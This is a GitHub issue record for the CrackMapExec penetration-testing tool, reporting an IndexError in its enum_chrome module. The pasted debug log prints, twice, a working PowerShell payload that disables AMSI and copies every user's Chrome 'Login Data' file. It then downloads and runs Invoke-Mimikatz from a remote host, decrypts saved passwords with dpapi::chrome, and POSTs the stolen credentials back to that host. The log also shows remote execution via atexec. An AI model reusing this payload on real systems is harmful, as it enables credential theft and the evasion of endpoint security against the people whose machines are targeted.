{"action":"closed","issue":{"url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/issues/126","repository_url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec","labels_url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/issues/126/labels{/name}","comments_url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/issues/126/comments","events_url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/issues/126/events","html_url":"https://github.com/byt3bl33d3r/CrackMapExec/issues/126","id":170917692,"number":126,"title":"Enum_Chrome Module Error","user":{"login":"redteamwynns","id":18598872,"avatar_url":"https://avatars.githubusercontent.com/u/18598872?v=3","gravatar_id":"","url":"https://api.github.com/users/redteamwynns","html_url":"https://github.com/redteamwynns","followers_url":"https://api.github.com/users/redteamwynns/followers","following_url":"https://api.github.com/users/redteamwynns/following{/other_user}","gists_url":"https://api.github.com/users/redteamwynns/gists{/gist_id}","starred_url":"https://api.github.com/users/redteamwynns/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/redteamwynns/subscriptions","organizations_url":"https://api.github.com/users/redteamwynns/orgs","repos_url":"https://api.github.com/users/redteamwynns/repos","events_url":"https://api.github.com/users/redteamwynns/events{/privacy}","received_events_url":"https://api.github.com/users/redteamwynns/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/byt3bl33d3r/CrackMapExec/labels/dafuq","name":"dafuq","color":"e11d21"}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2016-08-12T17:15:10Z","updated_at":"2016-09-21T15:28:52Z","closed_at":"2016-09-21T15:28:52Z","body":"Here's an error I got when trying to execute the new enum_chrome module on a Windows 10 build. Did not verify remote host actually had chrome, it very well may not. KTHXBYE!\r\n\r\n```\r\n(CME) root@Drone:~# cme 10.10.10.154 -id 1 -M enum_chrome --verbose\r\n08-12-2016 11:11:03 CME          10.10.10.154:445 [*] Windows 10.0 Build 14393 (name:NAME) (domain:DOMAIN)\r\n08-12-2016 11:11:03 CME          10.10.10.154:445 [+] DOMAIN\\User (Pwn3d!)\r\n08-12-2016 11:11:03 DEBUG                                          Payload: \r\n        $cmd = \"privilege::debug sekurlsa::dpapi\"\r\n        $userdirs = get-childitem \"$Env:SystemDrive\\Users\"\r\n        foreach ($dir in $userdirs) {\r\n            $LoginDataPath = \"$Env:SystemDrive\\Users\\$dir\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\r\n            \r\n            if ([System.IO.File]::Exists($LoginDataPath)) {\r\n                $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})\r\n                $temp_path = \"$Env:windir\\Temp\\$rand_name\"\r\n                Copy-Item $LoginDataPath $temp_path\r\n                $cmd = $cmd + \" `\"dpapi::chrome /in:$temp_path`\"\"\r\n            }\r\n            \r\n        }\r\n        $cmd = $cmd + \" exit\"\r\n\r\n        IEX (New-Object Net.WebClient).DownloadString('https://10.10.10.96:443/Invoke-Mimikatz.ps1');\r\n        $creds = Invoke-TJWNoSQnDv -Command $cmd;\r\n        $request = [System.Net.WebRequest]::Create('https://10.10.10.96:443/');\r\n        $request.Method = 'POST';\r\n        $request.ContentType = 'application/x-www-form-urlencoded';\r\n        $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);\r\n        $request.ContentLength = $bytes.Length;\r\n        $requestStream = $request.GetRequestStream();\r\n        $requestStream.Write( $bytes, 0, $bytes.Length );\r\n        $requestStream.Close();\r\n        $request.GetResponse();\r\n08-12-2016 11:11:03 DEBUG                                          Unincoded command:\r\n[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};\r\ntry{ \r\n[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)\r\n}catch{}\r\n\r\n        $cmd = \"privilege::debug sekurlsa::dpapi\"\r\n        $userdirs = get-childitem \"$Env:SystemDrive\\Users\"\r\n        foreach ($dir in $userdirs) {\r\n            $LoginDataPath = \"$Env:SystemDrive\\Users\\$dir\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\r\n            \r\n            if ([System.IO.File]::Exists($LoginDataPath)) {\r\n                $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})\r\n                $temp_path = \"$Env:windir\\Temp\\$rand_name\"\r\n                Copy-Item $LoginDataPath $temp_path\r\n                $cmd = $cmd + \" `\"dpapi::chrome /in:$temp_path`\"\"\r\n            }\r\n            \r\n        }\r\n        $cmd = $cmd + \" exit\"\r\n\r\n        IEX (New-Object Net.WebClient).DownloadString('https://10.10.10.96:443/Invoke-Mimikatz.ps1');\r\n        $creds = Invoke-TJWNoSQnDv -Command $cmd;\r\n        $request = [System.Net.WebRequest]::Create('https://10.10.10.96:443/');\r\n        $request.Method = 'POST';\r\n        $request.ContentType = 'application/x-www-form-urlencoded';\r\n        $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);\r\n        $request.ContentLength = $bytes.Length;\r\n        $requestStream = $request.GetRequestStream();\r\n        $requestStream.Write( $bytes, 0, $bytes.Length );\r\n        $requestStream.Close();\r\n        $request.GetResponse();\r\n\r\n08-12-2016 11:11:03 DEBUG                                          Executed command via atexec\r\n08-12-2016 11:11:03 ENUM_CHROME  10.10.10.154:445          [+] Executed payload\r\n08-12-2016 11:11:03 ENUM_CHROME                                    [*] Waiting on 1 host(s)\r\n08-12-2016 11:11:04 ENUM_CHROME  10.10.10.154                      [*] - - \"GET /Invoke-Mimikatz.ps1 HTTP/1.1\" 200 -\r\n08-12-2016 11:11:08 ENUM_CHROME  10.10.10.154                      [*] - - \"POST / HTTP/1.1\" 200 -\r\n----------------------------------------\r\nException happened during processing of request from ('10.10.10.154', 50127)\r\nTraceback (most recent call last):\r\n  File \"/usr/lib/python2.7/SocketServer.py\", line 290, in _handle_request_noblock\r\n    self.process_request(request, client_address)\r\n  File \"/usr/lib/python2.7/SocketServer.py\", line 318, in process_request\r\n    self.finish_request(request, client_address)\r\n  File \"/usr/lib/python2.7/SocketServer.py\", line 331, in finish_request\r\n    self.RequestHandlerClass(request, client_address, self)\r\n  File \"/usr/lib/python2.7/SocketServer.py\", line 652, in __init__\r\n    self.handle()\r\n  File \"/usr/lib/python2.7/BaseHTTPServer.py\", line 340, in handle\r\n    self.handle_one_request()\r\n  File \"/usr/lib/python2.7/BaseHTTPServer.py\", line 328, in handle_one_request\r\n    method()\r\n  File \"/root/.virtualenvs/CME/local/lib/python2.7/site-packages/cme/cmeserver.py\", line 29, in do_POST\r\n    self.server.module.on_response(self.server.context, self)\r\n  File \"/root/.virtualenvs/CME/local/lib/python2.7/site-packages/cme/modules/enum_chrome.py\", line 108, in on_response\r\n    passw = buf[i+3].split(':', 1)[1].strip()\r\nIndexError: list index out of range\r\n----------------------------------------\r\n08-12-2016 11:11:19 [*] KTHXBYE!\r\n```\r\n"}}
{"actor":{"display_login":"byt3bl33d3r"}}